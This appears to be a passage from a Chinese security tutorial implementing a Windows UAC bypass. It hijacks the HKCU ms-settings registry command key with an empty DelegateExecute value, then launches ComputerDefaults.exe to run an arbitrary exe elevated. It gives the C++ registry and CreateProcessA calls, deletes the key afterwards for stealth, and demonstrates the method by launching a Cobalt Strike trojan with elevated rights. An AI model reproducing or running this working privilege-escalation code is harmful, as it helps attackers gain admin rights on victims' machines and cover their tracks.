经过前面的探究过后,我们整理下思路,首先要创建注册表,并添加DelegateExecute
这个键值对,并修改command
的指向exe路径即可bypassuac,那么这里用到一下几个函数
RegCreateKeyExA
首先是创建注册表项,对应的是之前创建HKCU\Software\Classes\ms-settings\Shell\Open\command
这个路径的操作,这个路径默认情况下是不存在的
LSTATUS RegCreateKeyExA([in] HKEY hKey,[in] LPCSTR lpSubKey,DWORD Reserved,[in, optional] LPSTR lpClass,[in] DWORD dwOptions,[in] REGSAM samDesired,[in, optional] const LPSECURITY_ATTRIBUTES lpSecurityAttributes,[out] PHKEY phkResult,[out, optional] LPDWORD lpdwDisposition
);
hkey:句柄
lpSubKey:此函数打开或创建的子项的名称
Reserved:保留参数,必须为0
lpClass:该键的用户定义类类型。可以忽略此参数。此参数可以为NULL
dwOptions:有几个值,使用的时候具体查询
samDesired:指定要创建的密钥的访问权限的掩码
lpSecurityAttributes:指向SECURITY_ATTRIBUTES结构的指针
phkResult:指向接收打开或创建的键的句柄的变量的指针
lpdwDisposition:指向处置值变量的指针
RegSetValueExA
再就是修改注册表项,指向我们的恶意exe路径
LSTATUS RegSetValueExA([in] HKEY hKey,[in, optional] LPCSTR lpValueName,DWORD Reserved,[in] DWORD dwType,[in] const BYTE *lpData,[in] DWORD cbData
);
hkey:句柄
lpValueName:要设置的值的名称
Reserved:保留参数,必须为0
dwType:lpData参数指向的数据类型
lpData:要存储的数据
cbData:lpData参数指向的信息的大小,以字节为单位
RegDeleteTreeA
执行exe过后我们为了隐蔽最好是删除这个路径,那么就需要用到这个api
LSTATUS RegDeleteTreeA([in] HKEY hKey,[in, optional] LPCSTR lpSubKey
);
hkey:句柄
lpSubKey:密钥的名称
首先创建注册表项
::RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command",0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
然后给注册表赋值指向exe路径
::RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenA(filePath) + 1));
添加删除注册表键,即DelegateExecute
RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""));
然后调用cmd创建ComputerDefaults.exe
这个进程
CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
调用完成之后删除注册表项
RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");
这里测试一下,先把路径写成cmd.exe
char filePath[] = "C:\\Windows\\System32\\cmd.exe";
这里cmd的实现成功了,那么直接使用cs的马上线能不能够直接bypassuac呢,实验一下,这里把路径改为cs马的路径
这里为了验证已经bypass了uac,我后面手动自己点了一下cs的木马,第一个就是我们通过我们写的程序上线的,第二个就是直接点击上线的,看一下区别
仔细看的话这里bypass过的右上角有一个*
首先看一下第一个对话
再看下第二个对话,很明显这里已经bypass过了uac